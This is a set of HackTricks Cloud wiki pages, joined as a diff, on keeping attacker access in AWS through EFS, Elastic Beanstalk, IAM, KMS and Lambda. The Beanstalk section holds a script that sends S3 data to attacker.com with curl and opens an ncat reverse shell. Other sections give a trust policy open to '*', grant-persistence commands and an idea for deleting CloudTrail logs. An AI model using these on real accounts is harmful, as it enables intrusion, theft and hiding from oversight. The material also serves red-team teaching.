* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## EFS
|
||||
|
||||
For more information check:
|
||||
|
||||
{% content-ref url="../aws-services/aws-efs-enum.md" %}
|
||||
[aws-efs-enum.md](../aws-services/aws-efs-enum.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Modify Resource Policy / Security Groups
|
||||
|
||||
Modifying the **resource policy and/or security groups** you can try to persist your access into the file system.
|
||||
|
||||
### Create Access Point
|
||||
|
||||
You could **create an access point** (with root access to `/`) accessible from a service were you have implemented **other persistence** to keep privileged access to the file system.
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
@@ -0,0 +1,104 @@
|
||||
# AWS - Elastic Beanstalk Persistence
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Elastic Beanstalk
|
||||
|
||||
For more information check:
|
||||
|
||||
{% content-ref url="../aws-services/aws-elastic-beanstalk-enum.md" %}
|
||||
[aws-elastic-beanstalk-enum.md](../aws-services/aws-elastic-beanstalk-enum.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Persistence in Instance
|
||||
|
||||
In order to maintain persistence inside the AWS account, some **persistence mechanism could be introduced inside the instance** (cron job, ssh key...) so the attacker will be able to access it and steal IAM role **credentials from the metadata service**.
|
||||
|
||||
### Backdoor in Version
|
||||
|
||||
An attacker could backdoor the code inside the S3 repo so it always execute its backdoor and the expected code.
|
||||
|
||||
### New backdoored version
|
||||
|
||||
Instead of changing the code on the actual version, the attacker could deploy a new backdoored version of the application.
|
||||
|
||||
### Abusing Custom Resource Lifecycle Hooks
|
||||
|
||||
{% hint style="info" %}
|
||||
TODO: Test
|
||||
{% endhint %}
|
||||
|
||||
Elastic Beanstalk provides lifecycle hooks that allow you to run custom scripts during instance provisioning and termination. An attacker could **configure a lifecycle hook to periodically execute a script that exfiltrates data or maintains access to the AWS account**.
|
||||
|
||||
```bash
|
||||
bashCopy code# Attacker creates a script that exfiltrates data and maintains access
|
||||
echo '#!/bin/bash
|
||||
aws s3 cp s3://sensitive-data-bucket/data.csv /tmp/data.csv
|
||||
gzip /tmp/data.csv
|
||||
curl -X POST --data-binary "@/tmp/data.csv.gz" https://attacker.com/exfil
|
||||
ncat -e /bin/bash --ssl attacker-ip 12345' > stealthy_lifecycle_hook.sh
|
||||
|
||||
# Attacker uploads the script to an S3 bucket
|
||||
aws s3 cp stealthy_lifecycle_hook.sh s3://attacker-bucket/stealthy_lifecycle_hook.sh
|
||||
|
||||
# Attacker modifies the Elastic Beanstalk environment configuration to include the custom lifecycle hook
|
||||
echo 'Resources:
|
||||
AWSEBAutoScalingGroup:
|
||||
Metadata:
|
||||
AWS::ElasticBeanstalk::Ext:
|
||||
TriggerConfiguration:
|
||||
triggers:
|
||||
- name: stealthy-lifecycle-hook
|
||||
events:
|
||||
- "autoscaling:EC2_INSTANCE_LAUNCH"
|
||||
- "autoscaling:EC2_INSTANCE_TERMINATE"
|
||||
target:
|
||||
ref: "AWS::ElasticBeanstalk::Environment"
|
||||
arn:
|
||||
Fn::GetAtt:
|
||||
- "AWS::ElasticBeanstalk::Environment"
|
||||
- "Arn"
|
||||
stealthyLifecycleHook:
|
||||
Type: AWS::AutoScaling::LifecycleHook
|
||||
Properties:
|
||||
AutoScalingGroupName:
|
||||
Ref: AWSEBAutoScalingGroup
|
||||
LifecycleTransition: autoscaling:EC2_INSTANCE_LAUNCHING
|
||||
NotificationTargetARN:
|
||||
Ref: stealthy-lifecycle-hook
|
||||
RoleARN:
|
||||
Fn::GetAtt:
|
||||
- AWSEBAutoScalingGroup
|
||||
- Arn' > stealthy_lifecycle_hook.yaml
|
||||
|
||||
# Attacker applies the new environment configuration
|
||||
aws elasticbeanstalk update-environment --environment-name my-env --option-settings Namespace="aws:elasticbeanstalk:customoption",OptionName="CustomConfigurationTemplate",Value="stealthy_lifecycle_hook.yaml"
|
||||
```
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
@@ -0,0 +1,78 @@
|
||||
# AWS - IAM Persistence
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## IAM
|
||||
|
||||
For more information access:
|
||||
|
||||
{% content-ref url="../aws-services/aws-iam-enum.md" %}
|
||||
[aws-iam-enum.md](../aws-services/aws-iam-enum.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Common IAM Persistence
|
||||
|
||||
* Create a user
|
||||
* Add a controlled user to a privileged group
|
||||
* Create access keys (of the new user or of all users)
|
||||
* Grant extra permissions to controlled users/groups (attached policies or inline policies)
|
||||
* Disable MFA / Add you own MFA device
|
||||
* Create a Role Chain Juggling situation (more on this below in STS persistence)
|
||||
|
||||
### Backdoor Role Trust Policies
|
||||
|
||||
You could backdoor a trust policy to be able to assume it for an external resource controlled by you (or to everyone):
|
||||
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": [
|
||||
"*",
|
||||
"arn:aws:iam::123213123123:root"
|
||||
]
|
||||
},
|
||||
"Action": "sts:AssumeRole"
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
|
||||
### Backdoor Policy Version
|
||||
|
||||
Give Administrator permissions to a policy in not its last version (the last version should looks legit), then assign that version of the policy to a controlled user/group.
|
||||
|
||||
### Backdoor / Create Identity Provider
|
||||
|
||||
If the account is already trusting a common identity provider (such as Github) the conditions of the trust could be increased so the attacker can abuse them.
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
@@ -0,0 +1,66 @@
|
||||
# AWS - KMS Persistence
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## KMS
|
||||
|
||||
For mor information check:
|
||||
|
||||
{% content-ref url="../aws-services/aws-kms-enum.md" %}
|
||||
[aws-kms-enum.md](../aws-services/aws-kms-enum.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Grant acces via KMS policies
|
||||
|
||||
An attacker could use the permission **`kms:PutKeyPolicy`** to **give access** to a key to a user under his control or even to an external account. Check the [**KMS Privesc page**](../aws-privilege-escalation/aws-kms-privesc.md) for more information.
|
||||
|
||||
### Eternal Grant
|
||||
|
||||
Grants are another way to give a principal some permissions over a specific key. It's possible to give a grant that allows a user to create grants. Moreover, a user can have several grant (even identical) over the same key.
|
||||
|
||||
Therefore, it's possible for a user to have 10 grants with all the permissions. The attacker should monitor this constantly. And if at some point 1 grant is removed another 10 should be generated.
|
||||
|
||||
(We are using 10 and not 2 to be able to detect that a grant was removed while the user still has some grant)
|
||||
|
||||
```bash
|
||||
# To generate grants, generate 10 like this one
|
||||
aws kms create-grant \
|
||||
--key-id <key-id> \
|
||||
--grantee-principal <user_arn> \
|
||||
--operations "CreateGrant" "Decrypt"
|
||||
|
||||
# To monitor grants
|
||||
aws kms list-grants --key-id <key-id>
|
||||
```
|
||||
|
||||
{% hint style="info" %}
|
||||
A grant can give permissions only from this: [https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations](https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations)
|
||||
{% endhint %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
@@ -0,0 +1,90 @@
|
||||
# AWS - Lambda Persistence
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Lambda
|
||||
|
||||
For more information check:
|
||||
|
||||
{% content-ref url="../../aws-services/aws-lambda-enum.md" %}
|
||||
[aws-lambda-enum.md](../../aws-services/aws-lambda-enum.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Lambda Layer Persistence
|
||||
|
||||
It's possible to **introduce/backdoor a layer to execute arbitrary code** when the lambda is executed in a stealthy way:
|
||||
|
||||
{% content-ref url="aws-lambda-layers-persistence.md" %}
|
||||
[aws-lambda-layers-persistence.md](aws-lambda-layers-persistence.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Lambda Extension Persistence
|
||||
|
||||
Abusing Lambda Layers it's also possible to abuse extensions and persist in the lambda but also steal and modify requests.
|
||||
|
||||
{% content-ref url="aws-abusing-lambda-extensions.md" %}
|
||||
[aws-abusing-lambda-extensions.md](aws-abusing-lambda-extensions.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Via resource policies
|
||||
|
||||
It's possible to grant access to different lambda actions (such as invoke or update code) to external accounts:
|
||||
|
||||
<figure><img src="../../../../.gitbook/assets/image (255).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Versions, Aliases & Weights
|
||||
|
||||
A Lambda can have **different versions** (with different code each version).\
|
||||
Then, you can create **different aliases with different versions** of the lambda and set different weights to each.\
|
||||
This way an attacker could create a **backdoored version 1** and a **version 2 with only the legit code** and **only execute the version 1 in 1%** of the requests to remain stealth.
|
||||
|
||||
<figure><img src="../../../../.gitbook/assets/image (120).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Version Backdoor + API Gateway
|
||||
|
||||
1. Copy the original code of the Lambda
|
||||
2. **Create a new version backdooring** the original code (or just with malicious code). Publish and **deploy that version** to $LATEST
|
||||
1. Call the API gateway related to the lambda to execute the code
|
||||
3. **Create a new version with the original code**, Publish and deploy that **version** to $LATEST.
|
||||
1. This will hide the backdoored code in a previous version
|
||||
4. Go to the API Gateway and **create a new POST method** (or choose any other method) that will execute the backdoored version of the lambda: `arn:aws:lambda:us-east-1:<acc_id>:function:<func_name>:1`
|
||||
1. Note the final :1 of the arn **indicating the version of the function** (version 1 will be the backdoored one in this scenario).
|
||||
5. Select the POST method created and in Actions select **`Deploy API`**
|
||||
6. Now, when you **call the function via POST your Backdoor** will be invoked
|
||||
|
||||
### Cron/Event actuator
|
||||
|
||||
The fact that you can make **lambda functions run when something happen or when some time pass** makes lambda a nice and common way to obtain persistence and avoid detection.\
|
||||
Here you have some ideas to make your **presence in AWS more stealth by creating lambdas**.
|
||||
|
||||
* Every time a new user is created lambda generates a new user key and send it to the attacker.
|
||||
* Every time a new role is created lambda gives assume role permissions to compromised users.
|
||||
* Every time new cloudtrail logs are generated, delete/alter them
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
@@ -0,0 +1,69 @@
|
||||
# AWS - Abusing Lambda Extensions
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Lambda Extensions
|
||||
|
||||
Lambda extensions enhance functions by integrating with various **monitoring, observability, security, and governance tools**. These extensions, added via [.zip archives using Lambda layers](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) or included in [container image deployments](https://aws.amazon.com/blogs/compute/working-with-lambda-layers-and-extensions-in-container-images/), operate in two modes: **internal** and **external**.
|
||||
|
||||
* **Internal extensions** merge with the runtime process, manipulating its startup using **language-specific environment variables** and **wrapper scripts**. This customization applies to a range of runtimes, including **Java Correto 8 and 11, Node.js 10 and 12, and .NET Core 3.1**.
|
||||
* **External extensions** run as separate processes, maintaining operation alignment with the Lambda function's lifecycle. They're compatible with various runtimes like **Node.js 10 and 12, Python 3.7 and 3.8, Ruby 2.5 and 2.7, Java Corretto 8 and 11, .NET Core 3.1**, and **custom runtimes**.
|
||||
|
||||
For more information about [**how lambda extensions work check the docs**](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-extensions-api.html).
|
||||
|
||||
### External Extension for Persistence, Stealing Requests & modifying Requests
|
||||
|
||||
This is a summary of the technique proposed in this post: [https://www.clearvector.com/blog/lambda-spy/](https://www.clearvector.com/blog/lambda-spy/)
|
||||
|
||||
It was found that the default Linux kernel in the Lambda runtime environment is compiled with “**process\_vm\_readv**” and “**process\_vm\_writev**” system calls. And all processes run with the same user ID, even the new process created for the external extension. **This means that an external extension has full read and write access to Rapid’s heap memory, by design.**
|
||||
|
||||
Moreover, while Lambda extensions have the capability to **subscribe to invocation events**, AWS does not reveal the raw data to these extensions. This ensures that **extensions cannot access sensitive information** transmitted via the HTTP request.
|
||||
|
||||
The Init (Rapid) process monitors all API requests at [http://127.0.0.1:9001](http://127.0.0.1:9001/) while Lambda extensions are initialized and run prior to the execution of any runtime code, but after Rapid.
|
||||
|
||||
<figure><img src="../../../../.gitbook/assets/image (254).png" alt=""><figcaption><p><a href="https://www.clearvector.com/blog/content/images/size/w1000/2022/11/2022110801.rapid.default.png">https://www.clearvector.com/blog/content/images/size/w1000/2022/11/2022110801.rapid.default.png</a></p></figcaption></figure>
|
||||
|
||||
The variable **`AWS_LAMBDA_RUNTIME_API`** indicates the **IP** address and **port** number of the Rapid API to **child runtime processes** and additional extensions.
|
||||
|
||||
{% hint style="warning" %}
|
||||
By changing the **`AWS_LAMBDA_RUNTIME_API`** environment variable to a **`port`** we have access to, it's possible to intercept all actions within the Lambda runtime (**man-in-the-middle**). This is possible because the extension runs with the same privileges as Rapid Init, and the system's kernel allows for **modification of process memory**, enabling the alteration of the port number.
|
||||
{% endhint %}
|
||||
|
||||
Because **extensions run before any runtime code**, modifying the environment variable will influence the runtime process (e.g., Python, Java, Node, Ruby) as it starts. Furthermore, **extensions loaded after** ours, which rely on this variable, will also route through our extension. This setup could enable malware to entirely bypass security measures or logging extensions directly within the runtime environment.
|
||||
|
||||
<figure><img src="../../../../.gitbook/assets/image (267).png" alt=""><figcaption><p><a href="https://www.clearvector.com/blog/content/images/size/w1000/2022/11/2022110801.rapid.mitm.png">https://www.clearvector.com/blog/content/images/size/w1000/2022/11/2022110801.rapid.mitm.png</a></p></figcaption></figure>
|
||||
|
||||
The tool [**lambda-spy**](https://github.com/clearvector/lambda-spy) was created to perform that **memory write** and **steal sensitive information** from lambda requests, other **extensions** **requests** and even **modify them**.
|
||||
|
||||
## References
|
||||
|
||||
* [https://aws.amazon.com/blogs/compute/building-extensions-for-aws-lambda-in-preview/](https://aws.amazon.com/blogs/compute/building-extensions-for-aws-lambda-in-preview/)
|
||||
* [https://www.clearvector.com/blog/lambda-spy/](https://www.clearvector.com/blog/lambda-spy/)
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
@@ -0,0 +1,160 @@
|
||||
# AWS - Lambda Layers Persistence
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Lambda Layers
|
||||
|
||||
A Lambda layer is a .zip file archive that **can contain additional code** or other content. A layer can contain libraries, a [custom runtime](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-custom.html), data, or configuration files.
|
||||
|
||||
It's possible to include up to **five layers per function**. When you include a layer in a function, the **contents are extracted to the `/opt`** directory in the execution environment.
|
||||
|
||||
By **default**, the **layers** that you create are **private** to your AWS account. You can choose to **share** a layer with other accounts or to **make** the layer **public**. If your functions consume a layer that a different account published, your functions can **continue to use the layer version after it has been deleted, or after your permission to access the layer is revoked**. However, you cannot create a new function or update functions using a deleted layer version.
|
||||
|
||||
Functions deployed as a container image do not use layers. Instead, you package your preferred runtime, libraries, and other dependencies into the container image when you build the image.
|
||||
|
||||
### Python load path
|
||||
|
||||
The load path that Python will use in lambda is the following:
|
||||
|
||||
```
|
||||
